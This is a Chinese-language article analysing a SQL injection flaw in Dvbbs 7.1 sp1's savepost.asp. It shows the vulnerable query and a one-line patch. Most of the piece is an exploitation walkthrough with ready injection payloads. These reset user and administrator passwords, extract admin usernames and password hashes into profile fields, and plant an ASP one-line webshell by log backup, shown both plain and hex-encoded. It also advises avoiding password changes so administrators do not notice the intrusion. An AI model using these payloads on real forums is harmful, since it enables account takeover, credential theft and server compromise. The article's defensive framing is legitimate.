Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范_漏洞研究

一、概述
    漏洞介绍:

http://coolersky.com/leak/programme/bbs/2006/0515/515.html

    前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看:

http://www.eviloctal.com/forum/read.php?tid=22074

    本站转贴为:

http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html

    看了看风尘浪子的分析,觉得已经分析的挺明白的了,不过群里还是有几个朋友搞不太明白,索性在本地搭环境测试一下漏洞,感谢keng提供程序,呵呵,实在懒得去网上找。
    二、漏洞分析
    既然是savepost.asp程序的问题,那就打开改文件,风尘浪子已经提到是ToolsBuyUser参数过滤不足,那就看这个变量。
    32行,定义变量:

Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting

    111行,置空

ToolsBuyUser = ""

    120行,在参数GetPostType为0时,赋值

ToolsBuyUser = "0|||$SendMoney"

    123行,在参数GetPostType为1时,赋值

ToolsBuyUser = "0|||$GetMoney"

    139行,在参数GetPostType为2时,赋值

ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"

    747行,定义sql

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"

    745行,执行sql

Dvbbs.Execute(sql)

    我们看到,在整个获得数据到提交的过程中,没有对ToolsBuyUser参数进行安全过滤,导致了sql注入漏洞。
    三、漏洞利用
    1、注册用户coolersky
    2、选择发表新话题
    3、在“选择帖子类型”中选中“论坛交易帖设置”
 
    4、在“可购买用户名单限制:”中写入

'将自身用户口令修改为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';--

    修改口令后,重新登陆论坛,若使用123456登陆成功,则说明该漏洞尚未修补。
    5、获得前台管理员用户名和口令,分别放在自定义头像和签名中,查看用户coolersky的基本资料即可看到。

coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员'),usersign=(select top 1 userpassword from dv_user where userclass='管理员') where username='coolersky';--

    6、获得后台管理员用户名和口令

coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';--

    7、通过日志查看后台管理密码

coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';--

    8、获得数据库名称

coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';--

    9、日志差异备份webshell

'替换dbname为上一步获得的数据库名称,日志差异备份要db_owner权限!
'替换d:\web\dvbbs7\为当前论坛物理路径,怎么获得别来问我!
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--

    或者

coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;--

    使用最小asp木马客户端连接即可!
    10、直接修改管理员口令
    通过5、6、7三个步骤可以获得管理员前后台的用户名和密码,至少密码是16位md5,我们可以通过网络查询或者暴力破解获得管理员口令来登录前后台,但是也很可能没办法破解出口令。
    而如果也无法获得论坛的物理路径,那么只好通过修改管理员口令来实现了,当然能不改管理员口令还是尽量避免修改,否则马上就被管理员知道被入侵了。
    (1)获得前台管理员用户名:

coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理员')where username='test';--

    (2)修改前台管理员口令:

'假设我们获得前台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';--

    (3)获得后台管理员用户名:

coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';--

    (4)修改后台管理员口令:

'假设我们获得后台管理员用户名为admin,修改密码为123456
coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';--

    (5)登录前台上传mdb构造过的asp一句话后门,后台back为asp或asa文件即可,如何操作不在本文描述过程中。
    通过以上操作,只要服务器支持多语句,那么我们还可以对数据库进行更多操作。
    四、漏洞修补
    1、从dvbbs下载最新补丁

http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1

    2、打开savepost.asp文件,将747行

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")"

    修改为:

SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")"

    即用dvbbs.checkstr函数过滤ToolsBuyUser内容。

时间: 2024-08-02 21:58:43

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范_漏洞研究的相关文章

MySQL Proxy(解决注入的另一思路)_漏洞研究

作者:云舒 What is MySQL Proxy? MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its flexibility allows for unlimited uses; common ones include: load balancing; f

JavaScript注入漏洞的原理及防范(详解)_javascript技巧

初次接触: 初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范. 发生模式: JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中:二是系统中存在一些UI会展示用户注入的数据. 比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名

JavaScript注入漏洞的原理是什么 JavaScript漏洞怎么防范

初次接触: 初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范. 发生模式: JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中:二是系统中存在一些UI会展示用户注入的数据. 比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名

SQL注入天书—ASP注入漏洞全接触

SQL注入天书-ASP注入漏洞全接触选择自 digituser 的 Blog 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入. SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的

SQL注入天书之ASP注入漏洞全接触(1)

引 言 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入. SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警

SQL注入天书 - ASP注入漏洞全接触

引 言 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入. SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警

微软 SQL Server 2016 SP1 开发者版入驻 Windows 容器

2月22日有消息称微软今天宣布在Windows Containers容器中上线SQL Server2016 SP1开发者版.用户可以在Docker Hub中找到镜像,可用于Windows Server容器和Hyper-V容器中. 在Windows容器中,SQL Server 2016可为用户提供以下脚本使用: • 为开发和测试快速创建和启动一套SQL Server实例 • 在测试或产品环境中最大化密度,特别是微服务架构 • 在多租户架构中隔离和控制应用 要了解更多详情,请点击这里进入GitHub

SQL Injection with MySQL 注入分析_安全教程

声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

开发连接远程SQL Server 的ASP程序应注意的问题

Microsoft SQL Server7.0是一种大型.分布式数据库系统,也可被认为是一种大型.分布式数据仓库.由于其与Windows NT和BackOffice以及Visual Studio具有紧密的配合,已被越来越多的网络应用系统所采用.而ASP程序也以其和NT的紧密连接,可使用ActiveX对象.CGI接口对象化等特点向CGI程序发起了有力的挑战.下面,就谈谈开发连接远程SQL Server 的ASP程序应注意的几个问题. SQL Server是一个十分注重安全性的数据库,特别是在7.0